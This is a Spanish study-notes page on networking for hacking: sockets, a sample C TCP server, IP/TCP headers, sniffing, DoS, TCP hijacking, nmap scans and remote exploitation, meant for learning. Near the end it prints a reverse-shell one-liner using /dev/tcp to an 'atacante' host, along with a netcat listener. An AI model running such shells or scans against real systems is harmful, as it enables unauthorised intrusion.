Skip to content

Latest commit

 

History

History
380 lines (276 loc) · 13.8 KB

File metadata and controls

380 lines (276 loc) · 13.8 KB

0x400 — Networking

Índice


0x410 — Modelo OSI

7 capas, de abajo arriba:

Capa Nombre Unidad Ejemplos Dirección
1 Physical bit RJ-45, fibra, Wi-Fi
2 Data Link frame Ethernet, Wi-Fi (802.11), ARP MAC
3 Network packet IP, ICMP IP
4 Transport segment TCP, UDP port
5 Session data SSL, sockets
6 Presentation data TLS, charset
7 Application data HTTP, DNS, SSH

En la práctica usamos el modelo TCP/IP (4 capas):

TCP/IP OSI equivalente
Link 1 + 2
Internet 3
Transport 4
Application 5 + 6 + 7

Cada capa encapsula la de arriba: HTTP va dentro de TCP, dentro de IP, dentro de Ethernet. Cada capa añade su header (y a veces trailer). El sniffer recibe todo y desencapsula.

+--------+--------+--------+----------+
| ETH hdr| IP hdr | TCP hdr| HTTP req |
+--------+--------+--------+----------+
   14 B    20 B    20 B    variable

0x420 — Sockets

Un socket es un endpoint de comunicación. La API POSIX:

int socket(int domain, int type, int protocol);
domain Significado
AF_INET IPv4
AF_INET6 IPv6
AF_UNIX local (entre procesos del mismo host)
AF_PACKET raw, capa 2 (Linux)
type Significado
SOCK_STREAM TCP — confiable, orientado a conexión
SOCK_DGRAM UDP — sin conexión, sin garantías
SOCK_RAW raw — recibimos cabeceras IP enteras

Las llamadas básicas:

socket()    // crea el descriptor
bind()      // asigna IP+puerto local (servidor)
listen()    // espera conexiones (servidor TCP)
accept()    // bloquea hasta recibir una conexión (servidor TCP)
connect()   // se conecta a un servidor (cliente)
send()/recv() // envía/recibe datos
close()     // cierra

Servidor TCP mínimo

codigo/0x420/tinyserv.c:

#include "../0x260/0x265_hacking.h"
#include <netinet/in.h>

#define PORT 31337

int main() {
    int sockfd, new_sockfd, yes = 1;
    struct sockaddr_in host_addr, client_addr;
    socklen_t sin_size;
    char buffer[1024];
    int recv_length;

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) fatal("socket");
    setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));

    host_addr.sin_family      = AF_INET;
    host_addr.sin_port        = htons(PORT);
    host_addr.sin_addr.s_addr = INADDR_ANY;
    memset(&(host_addr.sin_zero), 0, 8);

    if (bind(sockfd, (struct sockaddr *) &host_addr, sizeof(struct sockaddr)) == -1)
        fatal("bind");
    if (listen(sockfd, 5) == -1) fatal("listen");

    printf("Escuchando en puerto %d...\n", PORT);
    while (1) {
        sin_size = sizeof(struct sockaddr_in);
        new_sockfd = accept(sockfd, (struct sockaddr *) &client_addr, &sin_size);
        if (new_sockfd == -1) fatal("accept");
        printf("[+] Conexión de %s:%d\n",
               inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));

        send(new_sockfd, "Hola desde tinyserv\n", 20, 0);
        recv_length = recv(new_sockfd, buffer, sizeof(buffer), 0);
        while (recv_length > 0) {
            printf("[recv] %.*s", recv_length, buffer);
            recv_length = recv(new_sockfd, buffer, sizeof(buffer), 0);
        }
        close(new_sockfd);
    }
    close(sockfd);
    return 0;
}

Probarlo:

$ make 0x420 && ./codigo/0x420/tinyserv &
$ nc localhost 31337
Hola desde tinyserv
hello server

Cliente TCP

codigo/0x420/tinyclient.c — versión mínima de un cliente HTTP que hace GET / y vuelca la respuesta.

htons / ntohs — byte order

Las direcciones IP y puertos en los headers van en network byte order = big-endian. x86 es little-endian. Por eso siempre que pongas un puerto en un struct, usa htons() (host-to-network short) y al leerlo usa ntohs(). Olvidarlo es el bug nº 1 de cualquier código de sockets.

Funciones:

Función Convierte
htons host → network, 16 bits (puertos)
ntohs network → host, 16 bits
htonl host → network, 32 bits (IP)
ntohl network → host, 32 bits
inet_aton(str, &addr) "1.2.3.4" → struct in_addr
inet_ntoa(addr) in_addr → "1.2.3.4" (no thread-safe; mejor inet_ntop)

0x430 — Capas inferiores

IP header (20 bytes mínimo)

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Identification        |Flags|      Fragment Offset    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |         Header Checksum       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       Source Address                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Destination Address                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Campos relevantes para hackeo:

  • TTL: se decrementa en cada hop. Si tu paquete llega con TTL muy bajo desde un host distante, hubo demasiados saltos (ruta indirecta, posible MITM).
  • Protocol: 6 = TCP, 17 = UDP, 1 = ICMP.
  • Source Address: falsificable en UDP/ICMP (spoofing). En TCP el handshake exige recibir el SYN-ACK, así que spoofing puro no completa la conexión (necesitas estar en el path o predecir números de secuencia, ver 0x460).
  • Fragmentation: un atacante puede partir un paquete malicioso en fragmentos pequeños para evadir IDS que no reensamblan bien.

TCP header (20 bytes mínimo)

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Sequence Number                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Acknowledgment Number                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Data |           |U|A|P|R|S|F|                               |
| Offset| Reserved  |R|C|S|S|Y|I|            Window             |
|       |           |G|K|H|T|N|N|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Checksum            |         Urgent Pointer        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Flags relevantes:

  • SYN: inicio de conexión. Cliente → SYN → Server, Server → SYN-ACK → Cliente, Cliente → ACK → Server. (Three-way handshake.)
  • ACK: acknowledgment. Confirma haber recibido bytes hasta ack-1.
  • FIN: cierre amistoso.
  • RST: reset, cierre brutal. Útil en port scans (SYN-RST significa puerto cerrado).
  • PSH: push — entrega al receptor inmediatamente.
  • URG: datos urgentes.

Three-way handshake

Cliente             Servidor
   |                    |
   | --- SYN, seq=X --->|
   | <-- SYN-ACK, seq=Y, ack=X+1 ---
   | --- ACK, ack=Y+1 ->|
   |                    |
   |   CONEXIÓN OK      |

0x440 — Sniffing

Capturar tráfico que no va dirigido a ti. Requiere:

  • Acceso al medio físico (LAN cableada, Wi-Fi capturado, switch SPAN, ARP spoof).
  • Modo promiscuo en la NIC (acepta frames con MAC destino distinto).

Sniffer raw socket en C

codigo/0x440/raw_tcpsniff.c — sniffer minimal usando AF_PACKET (Linux). Necesita CAP_NET_RAW o root.

int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

Estructura de un frame Ethernet:

struct ethhdr {
    u_char dest[6];     // MAC destino
    u_char src[6];      // MAC origen
    u_short type;       // 0x0800=IP, 0x0806=ARP, 0x86DD=IPv6
};

libpcap (alternativa portable)

pcap_t *handle = pcap_open_live("eth0", 65535, 1 /*promisc*/, 1000, errbuf);
pcap_loop(handle, 0, packet_handler, NULL);

codigo/0x440/pcap_sniff.c — sniffer con libpcap. Compilar con -lpcap.

Wi-Fi

Sniffing Wi-Fi requiere modo monitor (airmon-ng start wlan0) y capturar 802.11 directamente, no Ethernet. Las distros modernas lo encapsulan como Radiotap header + 802.11.

Defensa contra sniffing

TLS. Punto. Todo el tráfico interesante moderno va cifrado. Sniffing solo te da metadatos (qué IP habla con qué IP, qué SNI, qué tamaño de paquetes). Para el contenido, necesitas comprometer el endpoint o el certificado.


0x450 — Denial of Service

El libro cubre DoS principalmente como ejemplo educativo de cómo funcionan los protocolos. No reproducir contra sistemas ajenos: es delito.

SYN flood

Mandar muchos SYN sin completar el handshake. El servidor reserva memoria por cada conexión half-open. Si llena la cola, deja de aceptar conexiones nuevas.

Defensas:

  • SYN cookies (Linux: /proc/sys/net/ipv4/tcp_syncookies = 1). El servidor no reserva estado hasta el ACK final; el SYN-ACK lleva una cookie criptográfica.
  • Rate limiting con iptables/nftables.

Smurf attack

ICMP echo request a una broadcast address, con source IP = la víctima. Cada host del segmento responde a la víctima → amplificación.

Defensas: routers modernos bloquean broadcast pings por defecto (RFC 2644).

LAND attack

Paquete TCP SYN con source IP = dest IP = víctima, mismo puerto. El kernel buggeado se confunde y consume CPU. Hoy ya no funciona (parche desde Linux 2.0.30).

Modernamente — amplificación UDP

DNS, NTP, memcached: protocolos UDP donde una pequeña query genera una respuesta enorme. El atacante spoofea la source IP a la víctima → amplificación 50x-50000x. No reproducir.


0x460 — TCP/IP hijacking

Predicción de números de secuencia

En el handshake, el servidor elige un seq inicial. Si es predecible (counters incrementales en kernels viejos), un atacante puede:

  1. Spoofear el SYN como si viniera de una IP confiable.
  2. Adivinar el seq del SYN-ACK (que llega a la IP confiable, no al atacante).
  3. Mandar el ACK con el seq esperado.
  4. Conexión "establecida" sin que el atacante reciba el SYN-ACK.

Linux moderno usa números aleatorios (RFC 6528 + RFC 1948), así que esta variante histórica ya no funciona.

TCP reset injection

Si estás en el path (sniffing + injecting), puedes mandar un RST con los seq/ack correctos y matar una conexión existente. Útil para censura (Great Firewall lo hizo durante años) o para cortar conexiones SSH ajenas en una LAN.

codigo/0x460/rst_inject.c — esqueleto en C usando raw sockets. Solo en redes propias.


0x470 — Port scanning

Mapear qué puertos están abiertos en un host. Técnicas:

Técnica Cómo Detectable
TCP connect (full) connect() normal sí, queda en logs
TCP SYN (half-open) mandar SYN, leer respuesta, no completar menos detectable
TCP FIN/Xmas/Null mandar TCP "raro" algunos kernels reaccionan diferente entre abierto/cerrado
UDP mandar UDP, esperar ICMP unreachable lento (rate-limit del kernel)
Idle scan (Zombie) usa IPID de un host idle como oráculo no aparece nuestra IP

nmap implementa todas. Para entender qué hace por dentro, codigo/0x470/synscan.c construye paquetes SYN crudos.

nmap cheatsheet

nmap -sS -p- -T4 host           # SYN scan, todos los puertos, agresivo
nmap -sV -sC -p 22,80,443 host  # detección de versión + scripts default
nmap -O host                    # OS fingerprinting
nmap -sU -p 53,123 host         # UDP scan
nmap -sn 192.168.1.0/24         # ping sweep, no portscan

0x480 — Reach out and hack someone

El libro cierra el capítulo con un ejemplo: explotar un overflow remoto y conseguir una shell por la red. Es la combinación de:

  • Servidor TCP vulnerable (un servicio con recv() sin validar tamaño en un buffer fijo).
  • Shellcode que abre una bind shell o reverse shell.
  • Cliente que envía payload + se conecta a la shell.

codigo/0x420/vuln_server.c — servidor vulnerable con un overflow trivial en recv(). codigo/0x420/exploit_remote.py — exploit que sobrescribe RIP y lanza shellcode.

Bind vs reverse shell

Shell Quién escucha Ventaja Desventaja
Bind El target abre un puerto y espera Simple El firewall del target suele bloquear puertos entrantes
Reverse El atacante escucha; el target conecta hacia fuera Atraviesa NAT y firewalls outbound-permisivos El atacante necesita IP/puerto accesible

En engagements modernos: siempre reverse, salvo casos exóticos. La regla es "outbound es lo que pasa".

# en el atacante, escuchamos:
nc -lvnp 4444
# el target ejecuta nuestra reverse shell:
bash -i >& /dev/tcp/atacante/4444 0>&1

Siguiente: 0x500 — Shellcode.